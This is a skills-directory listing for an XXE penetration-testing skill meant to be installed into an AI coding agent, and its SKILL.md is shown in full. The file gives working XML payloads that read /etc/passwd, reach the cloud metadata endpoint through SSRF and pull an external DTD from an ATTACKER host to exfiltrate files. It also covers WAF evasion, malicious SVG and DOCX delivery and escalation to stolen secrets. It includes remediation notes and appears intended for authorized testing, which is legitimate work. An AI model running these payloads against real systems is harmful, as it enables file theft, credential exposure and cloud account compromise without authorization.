Skip to content
Back to skills

Xxe

BSecurity

XML External Entity injection — XML parser resolves attacker-defined entities for file read, SSRF, and OOB exfil. Covers in-band, blind external-DTD, error-based local-DTD reuse, XInclude, SVG/OOXML/SOAP/SAML delivery, and UTF-16/JSON-to-XML WAF bypass. Tier 1. Payloads: payloads/xxe.md. Use wherever XML is parsed (API bodies, SOAP, SAML, SVG/DOCX upload, config import).

  • 16 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added November 17, 2026
securitygophpapibackendsecurity

Works with

  • cli
  • api
  • mcp

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill xxe --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Xxe?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Xxe
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-xxe/badge)](https://www.skillsdirectory.com/skills/anandjogawade-xxe)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: xxe
description: "XML External Entity injection — XML parser resolves attacker-defined entities for file read, SSRF, and OOB exfil. Covers in-band, blind external-DTD, error-based local-DTD reuse, XInclude, SVG/OOXML/SOAP/SAML delivery, and UTF-16/JSON-to-XML WAF bypass. Tier 1. Payloads: payloads/xxe.md. Use wherever XML is parsed (API bodies, SOAP, SAML, SVG/DOCX upload, config import)."
---

# XML External Entity (XXE)

An XML parser resolves external/parameter entities you control → read local files, SSRF to internal/metadata, or OOB data exfil.

## Trigger phrases
`xxe, xml external entity, external dtd, xinclude, svg xxe, docx xxe, saml xxe, billion laughs`

## Method
1. **Find XML sinks:** `Content-Type: application/xml|text/xml|application/soap+xml`, SAMLResponse, SVG/DOCX/XLSX uploads, RSS/feed import, config/API bodies. Also try flipping a JSON endpoint to `application/xml` (parser often accepts it). Enumerate per ${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md §2.
2. **In-band file read** (when the response reflects your element):
   ```xml
   <?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM 'file:///etc/passwd'>]><r>&x;</r>
   ```
   Windows `file:///c:/windows/win.ini`. Binary/`<`-containing files: PHP wrapper `php://filter/convert.base64-encode/resource=index.php`.
3. **XInclude** (you control only a value, not the DOCTYPE):
   ```xml
   <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
   ```
4. **SSRF via XXE:** `<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">` → chain `ssrf` for cloud metadata.
5. **Blind / OAST (external DTD):** body pulls your DTD, which exfils a file via a crafted error/URL:
   ```xml
   <?xml version="1.0"?><!DOCTYPE m [<!ENTITY % ext SYSTEM "http://ATTACKER/ext.dtd"> %ext;]><m></m>
   ```
   `ext.dtd`: define `%file` (SYSTEM file://), wrap in `%eval`/`%error` to leak `%file` in an error or to `http://ATTACKER/?x=%file;`. FTP (`ftp://ATTACKER:2121/%data;` via `xxeserv`) for multi-line/large files.

## Modern / rare techniques
- [NEW] **Error-based local-DTD reuse** (outbound blocked): reference an on-disk DTD and redefine one of its parameter entities to leak a file in the parse error. Linux: `/usr/share/xml/fontconfig/fonts.dtd`, `docbookx.dtd`; Windows: `C:\Windows\System32\wbem\xml\cim20.dtd` (entity `%SuperClass`). Find with `GoSecure/dtd-finder` (full skeleton in ${CLAUDE_PLUGIN_ROOT}/payloads/xxe.md).
- [NEW] **UTF-16 re-encode** to dodge byte-signature WAFs: `iconv -f UTF-8 -t UTF-16BE exploit.xml > out.xml` (also set `encoding=` / UTF-7).
- [NEW] **JSON→XML content-type flip:** send `Content-Type: application/xml` with an XML body to a "JSON" endpoint.
- [NEW] **PHP `LIBXML_DTDLOAD`/`LIBXML_DTDATTR`-only XXE** (no `LIBXML_NOENT`): still exploitable — PTSecurity "Impossible XXE in PHP", tool `bytehope/wwe`.
- `data://` base64 DTD for environments that block `http`.

## Delivery via exotic files
- **SVG** (avatar/preview/raster): `<!ENTITY xxe SYSTEM "file:///etc/hostname">` in `<text>`; OOB via ImageMagick/librsvg rasterization. Chain `file-upload`.
- **OOXML DOCX/XLSX/PPTX:** inject into `word/document.xml` / `xl/workbook.xml` / `[Content_Types].xml`, repackage with `zip -u` (not 7z) to keep magic. Tool `oxml_xxe`, `docem`.
- **SOAP** (DTD inside `<![CDATA[]]>`), **SAML** (XXE in SAMLResponse — re-sign/unsigned paths).

## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md: UTF-16/UTF-7 encoding, whitespace in DOCTYPE, parameter-entity indirection, `PUBLIC` instead of `SYSTEM`, nested encoding of the exfil URL.

## Escalation / chaining
File read → app secrets/`.env`/keys → auth bypass. SSRF branch → `ssrf` → `cloud-pentest`. PHP `phar://`/wrapper read → `path-traversal`/`php-object-injection`. SVG/OOXML entry → `file-upload`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike): `XXEinjector`, `oxml_xxe`, `docem`, `dtd-finder`, `xxeserv`/`230-OOB` for OOB, interactsh/Collaborator. If a Burp MCP is present, use the Collaborator client and send PoCs to Repeater. Windows-local last resort. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.

## Evidence
Request + file contents returned (or OAST/FTP exfil log), the DTD used, affected endpoint/parser, impact (file read / SSRF / metadata). Remediation: disable DTD/external-entity resolution (`FEATURE_SECURE_PROCESSING`, `disallow-doctype-decl`), set `libxml_disable_entity_loader`/safe parser flags, reject XInclude. DoS (billion laughs) is lab-only — never run against production.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.